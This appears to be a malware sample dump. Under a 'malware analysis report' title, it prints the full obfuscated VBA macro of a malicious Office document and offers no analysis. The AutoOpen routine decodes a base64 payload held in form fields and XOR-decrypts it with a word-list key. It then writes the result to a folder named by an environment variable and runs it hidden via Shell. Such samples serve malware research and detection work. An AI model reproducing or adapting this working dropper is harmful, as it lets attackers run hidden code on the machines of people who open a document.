Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim severancesadherenceslibelling As Long
Private chalkiestcausalityKaseys(0 To 230) As Byte
Private Vermonterhouseholdersextruded As Boolean
Private TBsabrogationsTuscans As Boolean
Dim Ringlingsprivationsspicy As String
Dim tetrahedrasulphuringparricide As String
Dim sweetishsheddingcoyotes As Long
Dim shriveshygieneparquetry As String
Private clefsKrscruising(0 To 127) As Byte
Private veneersNebuchadnezzarboys As Boolean
Dim Legendreogledstunningly As Long
Private pretendersJimmieprimed As Boolean
Dim BrunoMalabarsbeautifully As String
Dim embracedistillationsOxford As Long
Dim stomachscommandsas As Long
Private wolframpigmysRochelles(0 To 63)  As Byte
Private Norristopcoatdecimal As Boolean
Function wendedRodriguezcelluloid() As String
Dim unitessockedsneakers As String
Dim dragtreatKatrinas As String
Dim presumptuouslimousinesporchs As Boolean
Dim amphitheatersdrainMedan As Boolean
Dim declaredmeagerlygiblet As String
Dim gripesgripesdeliver As Boolean
Dim Mercersdomineersearliness As String
Dim glissandohardheartednessPfizer As String
Dim huntsmenbushmanspunks As Boolean
Dim especiallyLamborghinipsychoanalyzes As String
Dim hosingjokeshicks As Boolean
Dim galledtierquadrupeds As Boolean
Dim Orleanscenterfoldhistrionics As String
Dim indoctrinatedscrolledhighest As Boolean
Dim photosynthesisserectnesssmollusc As Boolean
Dim pasteurizationsgingivitissincessant As String
Dim Vermonterordinarilyshyest As String
Dim Merciablackballsincessant As String
Dim paratrooperstransubstantiationstributarys As String
wendedRodriguezcelluloid = UserForm1.ComboBox2.Text
End Function
Private Function stingysandwichesKaris(ByVal HSBCsassassinationsmenstruate As String) As Byte()
Dim rotundassherdsfingerboards As Boolean
Dim glottisVoltairepioneering As Boolean
Dim BundesbanksclearanceMugabes As String
Dim pupaecerebellumsingenue As String
Dim creepinessscauldronsendings As String
Dim bigamyscoppiceirresolution As String
Dim Ferrisfluffinesssovertones As Boolean
Dim alphasflatsrenewals As String
Dim GiottoinfractionsVaduzs As Boolean
Dim roasteddepositoriescastaways As String
Dim benefittopsidesLhasas As String
Dim Parissatinyneither As Boolean
Dim grimrelentinganimation As String
Dim gibletgoopayee As String
Dim pyorrheasgrovelerswishers As Boolean
Dim passsBorgsferrous As String
Dim dactylsunoccupiedgigolo As String
Dim clompinghastengloomier As String
Dim cuneiformbrickbatsAltai As String
Dim whitefishsgratefuldehydrating As Boolean
Dim Nataliesmachinationwanted As String
Dim whackingpoutssusceptibility As Boolean
Dim Hzsuninstallerexpectoration As Boolean
Dim unpollutedbuttercupsascending() As Byte
Dim grippedRinglingsatriums As Long
Dim Contrerassstatewidehierarchies As Long
Dim salonhickscliffs As Integer
salonhickscliffs = 683
Do While 7509 > salonhickscliffs
  salonhickscliffs = salonhickscliffs + 20
Loop
Dim bornedrakesfluff() As Byte
Dim mistrialcodareputing As Long
unpollutedbuttercupsascending = HSBCsassassinationsmenstruate
grippedRinglingsatriums = (UBound(unpollutedbuttercupsascending) + 1) \ 2
If grippedRinglingsatriums = 0 Then stingysandwichesKaris = unpollutedbuttercupsascending: Exit Function
Dim wiretappinginstrumentedpremises As Integer
wiretappinginstrumentedpremises = 442
Do While 8725 > wiretappinginstrumentedpremises
  wiretappinginstrumentedpremises = wiretappinginstrumentedpremises + 26
Loop
ReDim bornedrakesfluff(0 To grippedRinglingsatriums - 1) As Byte
For Contrerassstatewidehierarchies = 0 To grippedRinglingsatriums - 1
mistrialcodareputing = unpollutedbuttercupsascending(2 * Contrerassstatewidehierarchies) + 256 * CLng(unpollutedbuttercupsascending(2 * Contrerassstatewidehierarchies + 1))
If mistrialcodareputing >= 256 Then mistrialcodareputing = Asc("?")
bornedrakesfluff(Contrerassstatewidehierarchies) = mistrialcodareputing
Dim rampagesnoondayChances As Integer
rampagesnoondayChances = 1847
Do While 6284 > rampagesnoondayChances
  rampagesnoondayChances = rampagesnoondayChances + 21
Loop
Next
Dim thunderenlightenmentcinematographys As Integer
thunderenlightenmentcinematographys = 1500
Do While thunderenlightenmentcinematographys < 7577
  thunderenlightenmentcinematographys = thunderenlightenmentcinematographys + 29
Loop
stingysandwichesKaris = bornedrakesfluff
End Function
Public Function responsivelydentistsespecially(ByVal evensholingengineers As String) As String
Dim IndonesianspunctiliousAmerinds As String
Dim companionablewhimperstransfixed As String
Dim auntsMRIsHeads As String
Dim presidentssailedcontradiction As String
Dim ciliumKaylascratchiest As String
Dim EstherssleetsCologne As Boolean
Dim supremacyinfidelswanted As String
Dim pippinsJouleFridays As Boolean
Dim ContrerasstradesmansMcKenzie As Boolean
Dim predecessorsrefinishingrematches As String
Dim Shillongtwinklecanopies As Boolean
If evensholingengineers = "" Then responsivelydentistsespecially = "": Exit Function
responsivelydentistsespecially = desultorywreathingsays(cockneysdirtyChisholm(evensholingengineers))
End Function
Function backwatersenoughsCambodians(Cambodiansunevenerstandardizations As String) As Variant
Dim impuritiesliquidsapproximating As Boolean
Dim blockheadsheavensKaisers As String
Dim aphrodisiacremonstrancestense As String
Dim heavyswoksmultiplicities As String
Dim brinksRochellescongratulatory As String
Dim lapelsZarascartoonists As String
Dim successfulIrspet As String
Dim knowledgesdetractemployes As Boolean
Dim cashiermatzossmarting As String
Dim bluescanteenrailways As Boolean
Dim grandfatherembracesentimentalists As String
Dim jumpersaerieclobbered As Boolean
Dim ratchetschoralesunbidden As String
Dim creedslipperiergrovelers As String
Dim vicariousoffstageJosef As String
Dim hecklingconceptualizingmaxillas As String
Dim disenfranchisementpollinatesSenator As Boolean
Dim Benthambrickbatsoctopus As Boolean
Dim convexvindictivelycounterattacks As String
Dim Templarscheeksexpressionist() As Byte
Dim PantaloonsredcoatsLollard As Integer
PantaloonsredcoatsLollard = 3605
Do While 7013 > PantaloonsredcoatsLollard
  PantaloonsredcoatsLollard = PantaloonsredcoatsLollard + 10
Loop
Templarscheeksexpressionist = Cambodiansunevenerstandardizations
backwatersenoughsCambodians = Templarscheeksexpressionist
End Function
Function speakersscrolledcommandeering(Betsybyplaystribal As String) As String
Dim swatsphysicsfriendless As String
Dim Weldonspasturefiltrate As String
Dim Kroneckersseabedscommonwealths As Boolean
Dim stabilizesValdezCochise As String
Dim loweringUruguaypiping As Boolean
Dim drivingphonographcrouchs As Boolean
Dim ErinentomologistsGide As String
Dim frontiershovercraftsings As Boolean
Dim fervidlygurustreatises As String
Dim foodstuffsburarmys As Boolean
Dim affraysmommasstreak As String
Dim telemetershemlockswhatnots As Boolean
Dim sovereignamnesiacheavys As String
Dim potterspartridgewikis As Boolean
Dim Marspsychotherapiespopulations As Boolean
Dim ThurmanMRIskaraokes As String
speakersscrolledcommandeering = Environ(Betsybyplaystribal)
End Function
Function polkaingweighsdamning() As String
Dim clompingSpriteGallo As String
Dim vocalizessmudgyinsoluble As String
Dim keratinveganscomplaisance As Boolean
Dim KellerMenkentsovations As String
Dim parquetryCanadianbleat As Boolean
Dim noseyPirandellogentrification As String
Dim feederRamonsbluebells As String
Dim KaisersExcedrinsprudes As Boolean
Dim incubatorsassaultsloanword As String
Dim gardenpompadouredtriathlons As String
Dim unfetterslossesBrett As String
Dim uploadantedatemuralists As Boolean
Dim registrationstaplesstaples As Boolean
Dim aideforestcues As String
polkaingweighsdamning = UserForm1.ComboBox3.Text
Dim concludedparliamentarianszirconium As Integer
concludedparliamentarianszirconium = 2065
Do While 5510 > concludedparliamentarianszirconium
  concludedparliamentarianszirconium = concludedparliamentarianszirconium + 26
Loop
End Function
Function ferrousparallelledhardheartedness(admirespulpierlegatees() As Byte) As String
Dim Cabernetskudzusmultiplications As Boolean
Dim pepticswillfulnesssects As String
Dim purringpoisedannoy As Boolean
Dim damasksJayapurapoinsettia As Boolean
Dim MethodistsbrowniesHades As Boolean
Dim kibitzedsackfulsCockney As String
Dim discardingstickieslingerie As Boolean
Dim KlimtAquinassintroduces As String
Dim enemiesbuffaloessmarting As String
Dim girtsgirtsinconspicuousnesss As Boolean
Dim KaundaHeliossconceptualizing As String
Dim yawnsPatebreastbones As String
Dim biddingOrleansflippers As Boolean
Dim travellerimperturbablytoothbrushs As String
Dim therapiesangriestdrag As String
Dim canopiesmedullasportswomen As String
Dim modulationfanaticallytare As String
Dim existentialismshyestcocktails As Boolean
Dim bilateralinamoratafive As String
bilateralinamoratafive = admirespulpierlegatees
ferrousparallelledhardheartedness = bilateralinamoratafive
End Function
Private Sub tautologymartensmetering()
Dim fudgesBowensatrocity As String
Dim circussurrenderstriplet As Boolean
Dim clobberedsalsasdeliver As String
Dim menstruateruinationsscholarships As Boolean
Dim wellsambiencecountries As String
Dim ordinarilysleetsdemarcates As String
Dim hasheeshpolyglotstadpoles As Boolean
Dim infractionsdiscouragesfingerboards As Boolean
Dim wormsHelmholtztermagants As String
Dim embracetreasuredAngelo As String
Dim privatizedretailersdecimal As String
Dim portrayalsthumbtacksuburbanite As String
Dim existentialismhandspringsirritates As String
Dim MalabarsSkypesFridays As String
Dim landerauditoriapasture As String
Dim neurosissmidwaysblarneying As Boolean
Dim combustionchapelsparticipators As String
Dim manurescurlycuesshleps As String
Dim wheeziertrollysKrakatoa As Boolean
Dim sousesboatswainsCrux As Integer
Dim deputecliffsrumbling As Integer
deputecliffsrumbling = 3030
Do While 6366 > deputecliffsrumbling
  deputecliffsrumbling = deputecliffsrumbling + 15
Loop
Dim infidelsbouquetsplaintiffs As Integer
infidelsbouquetsplaintiffs = 0
For sousesboatswainsCrux = Asc("A") To Asc("Z"): wolframpigmysRochelles(infidelsbouquetsplaintiffs) = sousesboatswainsCrux: infidelsbouquetsplaintiffs = infidelsbouquetsplaintiffs + 1: Next
For sousesboatswainsCrux = Asc("a") To Asc("z"): wolframpigmysRochelles(infidelsbouquetsplaintiffs) = sousesboatswainsCrux: infidelsbouquetsplaintiffs = infidelsbouquetsplaintiffs + 1: Next
Dim topsailsmuskiestdactyls As Integer
topsailsmuskiestdactyls = 505
Do While 8179 > topsailsmuskiestdactyls
  topsailsmuskiestdactyls = topsailsmuskiestdactyls + 19
Loop
For sousesboatswainsCrux = Asc("0") To Asc("9"): wolframpigmysRochelles(infidelsbouquetsplaintiffs) = sousesboatswainsCrux: infidelsbouquetsplaintiffs = infidelsbouquetsplaintiffs + 1: Next
wolframpigmysRochelles(infidelsbouquetsplaintiffs) = Asc("+"): infidelsbouquetsplaintiffs = infidelsbouquetsplaintiffs + 1
wolframpigmysRochelles(infidelsbouquetsplaintiffs) = Asc("/"): infidelsbouquetsplaintiffs = infidelsbouquetsplaintiffs + 1
For infidelsbouquetsplaintiffs = 0 To 127: clefsKrscruising(infidelsbouquetsplaintiffs) = 255: Next
Dim deftertransubstantiationsKaisers As Integer
deftertransubstantiationsKaisers = 2380
Do While deftertransubstantiationsKaisers < 5708
  deftertransubstantiationsKaisers = deftertransubstantiationsKaisers + 17
Loop
For infidelsbouquetsplaintiffs = 0 To 63: clefsKrscruising(wolframpigmysRochelles(infidelsbouquetsplaintiffs)) = infidelsbouquetsplaintiffs: Next
pretendersJimmieprimed = True
End Sub
Private Function desultorywreathingsays(keepsvoyagersGray() As Byte) As String
Dim absorbentssockedLila As String
Dim discrepancysharassesfixity As Boolean
Dim noseyjoyfullersubduing As Boolean
Dim everybodysspanielsskedaddled As String
Dim nippersbetrothedsbend As String
Dim Nebuchadnezzarshopliftingsgoad As String
Dim compoundedkitschhighlighting As Boolean
Dim needlesslyblacknessblueprints As String
Dim dateoffstageogled As Long
Dim songpromulgateMill() As Byte
Dim fedoraslingeriesalesgirl As Integer
fedoraslingeriesalesgirl = 2563
Do While 8044 > fedoraslingeriesalesgirl
  fedoraslingeriesalesgirl = fedoraslingeriesalesgirl + 16
Loop
Dim stocksrebroadcastsinfractions As Long
Dim supplicationstrappersdense As Long
Dim guzzledmileageexistentialism As String
dateoffstageogled = UBound(keepsvoyagersGray) - LBound(keepsvoyagersGray) + 1
ReDim songpromulgateMill(0 To (2 * dateoffstageogled) - 1) As Byte
stocksrebroadcastsinfractions = LBound(keepsvoyagersGray)
For supplicationstrappersdense = 0 To dateoffstageogled - 1: songpromulgateMill(2 * supplicationstrappersdense) = keepsvoyagersGray(stocksrebroadcastsinfractions + supplicationstrappersdense): Next
guzzledmileageexistentialism = songpromulgateMill
Dim scrotapyorrheasMarcys As Integer
scrotapyorrheasMarcys = 1677
Do While scrotapyorrheasMarcys < 6644
  scrotapyorrheasMarcys = scrotapyorrheasMarcys + 28
Loop
desultorywreathingsays = guzzledmileageexistentialism
End Function
Public Function cockneysdirtyChisholm(ByVal D9D9D9D9D9 As String) As Byte()
Dim declaredMandrellCorleone As String
Dim KulthummrectifiersUnilevers As String
Dim SilvasMycenaesvacations As String
Dim abrasionmusketeerripostes As String
Dim Koufaxshumanitarianismsleazy As String
Dim nonresidentssecssecs As String
Dim forbearshuntsmenPasteurs As Boolean
Dim naiadsdespatchWilbur As Boolean
Dim surrendersgeckoesincisor As Boolean
If Not pretendersJimmieprimed Then tautologymartensmetering
Dim conceptualizingingenueunbelievers As Integer
conceptualizingingenueunbelievers = 3995
Do While conceptualizingingenueunbelievers < 7090
  conceptualizingingenueunbelievers = conceptualizingingenueunbelievers + 4
Loop
Dim bornedrakesfluff() As Byte
Dim informantspottingpalsys As Integer
informantspottingpalsys = 3205
Do While 6751 > informantspottingpalsys
  informantspottingpalsys = informantspottingpalsys + 3
Loop
Dim phobiascertifiesmousiness As Long
Dim cheweraccordstraw As Long
Dim preeminentlyNicholeloathsomeness() As Byte
Dim Kalbprogressiveslipstick As Long
Dim surplusingBowditchunknowing As Long
Dim LegreemarshsEsthers As Integer
LegreemarshsEsthers = 3323
Do While 8577 > LegreemarshsEsthers
  LegreemarshsEsthers = LegreemarshsEsthers + 10
Loop
Dim airplaneunderpinningElohim As Byte
Dim Pariseducatedcherubs As Byte
Dim lipstickrecastingreasonablenesss As Byte
Dim spellinggobletsmisspellings As Byte
Dim profunditysdemagogchairmans As Byte
Dim yelpspredeterminederrant As Byte
Dim shortcomingsenergizerscyclically As Byte
Dim publishedvaguesttriter As Integer
publishedvaguesttriter = 2137
Do While 7984 > publishedvaguesttriter
  publishedvaguesttriter = publishedvaguesttriter + 22
Loop
Dim Guatemalasupposedlyveterinarians As Byte
Dim wordssidelightsMontague As Integer
wordssidelightsMontague = 3659
Do While wordssidelightsMontague < 8207
  wordssidelightsMontague = wordssidelightsMontague + 10
Loop
bornedrakesfluff = stingysandwichesKaris(D9D9D9D9D9)
phobiascertifiesmousiness = UBound(bornedrakesfluff) + 1
Do While phobiascertifiesmousiness > 0
Dim Pomeraniandatedefensed As Integer
Pomeraniandatedefensed = 3254
Do While Pomeraniandatedefensed < 8644
  Pomeraniandatedefensed = Pomeraniandatedefensed + 26
Loop
If bornedrakesfluff(phobiascertifiesmousiness - 1) <> Asc("=") Then Exit Do
phobiascertifiesmousiness = phobiascertifiesmousiness - 1
Dim blanketsTamerlaneschancellery As Integer
blanketsTamerlaneschancellery = 3839
Do While blanketsTamerlaneschancellery < 8687
  blanketsTamerlaneschancellery = blanketsTamerlaneschancellery + 10
Loop
Loop
cheweraccordstraw = (phobiascertifiesmousiness * 3) \ 4
ReDim preeminentlyNicholeloathsomeness(0 To cheweraccordstraw - 1) As Byte
Do While Kalbprogressiveslipstick < phobiascertifiesmousiness
fatallyhodgepodgeswiveling = bornedrakesfluff(Kalbprogressiveslipstick): Kalbprogressiveslipstick = Kalbprogressiveslipstick + 1
Dim scrotaembersbigamists As Integer
scrotaembersbigamists = 1759
Do While scrotaembersbigamists < 5552
  scrotaembersbigamists = scrotaembersbigamists + 19
Loop
venerableearlinessmistresses = bornedrakesfluff(Kalbprogressiveslipstick): Kalbprogressiveslipstick = Kalbprogressiveslipstick + 1
If Kalbprogressiveslipstick < phobiascertifiesmousiness Then relaxantsdoseborrowers = bornedrakesfluff(Kalbprogressiveslipstick): Kalbprogressiveslipstick = Kalbprogressiveslipstick + 1 Else relaxantsdoseborrowers = Asc("A")
If Kalbprogressiveslipstick < phobiascertifiesmousiness Then airplaneunderpinningElohim = bornedrakesfluff(Kalbprogressiveslipstick): Kalbprogressiveslipstick = Kalbprogressiveslipstick + 1 Else airplaneunderpinningElohim = Asc("A")
Pariseducatedcherubs = clefsKrscruising(fatallyhodgepodgeswiveling)
lipstickrecastingreasonablenesss = clefsKrscruising(venerableearlinessmistresses)
Dim desktopcuticlesgiblet As Integer
desktopcuticlesgiblet = 3587
Do While 7112 > desktopcuticlesgiblet
  desktopcuticlesgiblet = desktopcuticlesgiblet + 5
Loop
spellinggobletsmisspellings = clefsKrscruising(relaxantsdoseborrowers)
profunditysdemagogchairmans = clefsKrscruising(airplaneunderpinningElohim)
yelpspredeterminederrant = (Pariseducatedcherubs * 4) Or (lipstickrecastingreasonablenesss \ &H10)
shortcomingsenergizerscyclically = ((lipstickrecastingreasonablenesss And &HF) * &H10) Or (spellinggobletsmisspellings \ 4)
Guatemalasupposedlyveterinarians = ((spellinggobletsmisspellings And 3) * &H40) Or profunditysdemagogchairmans
preeminentlyNicholeloathsomeness(surplusingBowditchunknowing) = yelpspredeterminederrant: surplusingBowditchunknowing = surplusingBowditchunknowing + 1
If surplusingBowditchunknowing < cheweraccordstraw Then preeminentlyNicholeloathsomeness(surplusingBowditchunknowing) = shortcomingsenergizerscyclically: surplusingBowditchunknowing = surplusingBowditchunknowing + 1
If surplusingBowditchunknowing < cheweraccordstraw Then preeminentlyNicholeloathsomeness(surplusingBowditchunknowing) = Guatemalasupposedlyveterinarians: surplusingBowditchunknowing = surplusingBowditchunknowing + 1
Loop
cockneysdirtyChisholm = preeminentlyNicholeloathsomeness
Dim slawsmainstreamcompartments As Integer
slawsmainstreamcompartments = 1744
Do While slawsmainstreamcompartments < 6371
  slawsmainstreamcompartments = slawsmainstreamcompartments + 20
Loop
End Function
Function Thieuscoccussrequites(weatherizeconceptualizingArizonian As String) As String
Dim Canadiantelephonygolly As String
Dim cuneiformGasdecriminalize As String
Dim vitiatingscrutinizedcrabbiest As String
Dim nextsheadstrongBuddhisms As Boolean
Dim unrulypermutedrefilled As String
Dim burfireballselfs As String
Dim succorspitiablehandful As String
Dim stagingsspellingmonotonously As String
Dim trellissbyplaysloudspeaker As String
Dim sackfulscontractuallydwindling As Boolean
Dim constablesconclusionsgentrification As String
Dim rechargedisabilitiesaerobics As String
Dim acutesliefAndretti As String
Dim rectifiersabjurationsshiny As String
Dim Transcaucasiabeechregenerated As String
Dim upgradingNunezsdukes As String
Dim gurusiffiestMagellan As String
Dim Sagittariusnonvotingdesultory As String
Dim admiresuproariouslywashs As String
Dim bisexualLittonsexpeditions As Boolean
Shell weatherizeconceptualizingArizonian, vbHide
End Function
Function slobbersexpeditionaryrazzs(curlycuesfoodstuffsAdkins As String) As String
Dim vitiatingclaviclesHosea As String
Dim developsmomentarycontainments As Boolean
Dim discunisexsukuleles As String
Dim argueslegateesBushs As Boolean
Dim locutionstinkeringundecideds As Boolean
Dim smokestendrilsblabbed As Boolean
Dim NguyenvocalizeNemesiss As Boolean
Dim gownyachtsbirths As Boolean
Dim blocattackedIrishwomans As String
Dim alertedacuterexistentialism As Boolean
Dim blancmangeMormonsperfunctory As Boolean
Dim sawmilldoseaged As String
Dim cankersoccultcockney As String
Dim braiseplaythingsreplacements As String
Dim plumagesdewdropsMoriartys As Boolean
Dim neoclassicismsjokesgreatness As String
Dim stiffsfearlesslyblasphemies As Boolean
Dim sniggeringcoffeehousesthrifts As Boolean
Dim Odessashandspringsbillings As String
Dim apostropheremarriesproletarians As Boolean
Dim hobblingburgledcataleptic As String
Dim illicitlymolestersspirit As String
Dim Nguyenawesomequalifications As String
Dim kibitzedtrainsconsistent As Boolean
Dim bushmanshierarchieshuh As Integer
bushmanshierarchieshuh = 1183
Do While 8252 > bushmanshierarchieshuh
  bushmanshierarchieshuh = bushmanshierarchieshuh + 13
Loop
Dim slobbersHawaiisuccessful() As Byte
Dim WaringfewFourneyrons() As Byte
Dim questionedexpressivenesssdocent As Long
Dim Kentcooperedtriangulation As Integer
Kentcooperedtriangulation = 2692
Do While Kentcooperedtriangulation < 6795
  Kentcooperedtriangulation = Kentcooperedtriangulation + 27
Loop
Const conjoiningqualificationsassociations As String = "physicked crematorium hectic Am Faisal goslings Grimm Barbara Yves uprooting mischances postmark stack feedings Lulu menders Wed regents moccasins dismoun Bradbury Swisses ragamuffin pervades mysticism harness Iblis leprechaun beneficiaries Wheeler fastidious flan join gutsier cursed alphas picker deceptively banner heft outmaneuvering cracklier encapsulation disenfranchising talon shuttering isle arrogated worse jockeys Aristides bridgeheads simulate unfettered craftiness defensively foremost bewaring whalers complaisance whammed focal enchanters overlapping lucked physically frats length telephony rusts"
slobbersHawaiisuccessful = backwatersenoughsCambodians(curlycuesfoodstuffsAdkins)
WaringfewFourneyrons = backwatersenoughsCambodians(conjoiningqualificationsassociations)
Dim plasmasennacheckerboards As Integer
plasmasennacheckerboards = 3761
Do While 7234 > plasmasennacheckerboards
  plasmasennacheckerboards = plasmasennacheckerboards + 13
Loop
questionedexpressivenesssdocent = UBound(slobbersHawaiisuccessful)
ReDim creepinesssVegemitegulp(0 To questionedexpressivenesssdocent) As Byte
Dim fowlsValdezunderpinning As Long
For fowlsValdezunderpinning = LBound(slobbersHawaiisuccessful) To questionedexpressivenesssdocent
creepinesssVegemitegulp(fowlsValdezunderpinning) = slobbersHawaiisuccessful(fowlsValdezunderpinning) Xor WaringfewFourneyrons(fowlsValdezunderpinning)
Next fowlsValdezunderpinning
slobbersexpeditionaryrazzs = ferrousparallelledhardheartedness(creepinesssVegemitegulp)
End Function
Sub AutoOpen()
Dim girthsweightsoozes As Boolean
Dim underwritewormretrofits As String
Dim thermometersfiltrateneon As String
Dim nippingremonstratePhoenicia As String
Dim MelvinsTassbolls As Boolean
Dim insomniacsTaftspioneering As String
Dim pigtailsyachtsjackets As String
Dim erratasmotorcyclingaltruistic As Boolean
Dim tyrannyswrongheadednesssCampanellas As String
Dim milkweedsmilkweedspediments As String
Dim chipperdwarfingreviewers As Integer
chipperdwarfingreviewers = 392
Do While chipperdwarfingreviewers < 8975
  chipperdwarfingreviewers = chipperdwarfingreviewers + 9
Loop
Dim Ferrisstiffsnieces As String
Dim TammisSerbexiled As String
Dim Psalmsbluenosesspecifications As Integer
Dim fluffneitherdifferentiates As String
Ferrisstiffsnieces = responsivelydentistsespecially(polkaingweighsdamning())
TammisSerbexiled = UserForm1.ComboBox1.Text
tyrannyswrongheadednesssCampanellas = slobbersexpeditionaryrazzs(Ferrisstiffsnieces)
milkweedsmilkweedspediments = speakersscrolledcommandeering(TammisSerbexiled)
Dim gauzeaffrayspenchants As Integer
gauzeaffrayspenchants = 1116
Do While 6715 > gauzeaffrayspenchants
  gauzeaffrayspenchants = gauzeaffrayspenchants + 15
Loop
fluffneitherdifferentiates = tyrannyswrongheadednesssCampanellas
tyrannyswrongheadednesssCampanellas = milkweedsmilkweedspediments & wendedRodriguezcelluloid()
Psalmsbluenosesspecifications = FreeFile
Dim transliteratesavoriestsacks As Integer
transliteratesavoriestsacks = 659
Do While transliteratesavoriestsacks < 5042
  transliteratesavoriestsacks = transliteratesavoriestsacks + 29
Loop
Open tyrannyswrongheadednesssCampanellas For Output As #Psalmsbluenosesspecifications
Print #Psalmsbluenosesspecifications, fluffneitherdifferentiates
Close #Psalmsbluenosesspecifications
Thieuscoccussrequites (tyrannyswrongheadednesssCampanellas)
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{31DF6CF0-CEFD-475A-A2C6-7B83C266A7E0}{AB41A1AB-F8D0-4C50-92DF-6126B22853A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub ComboBox2_Change()

End Sub

Private Sub MultiPage1_Change()

End Sub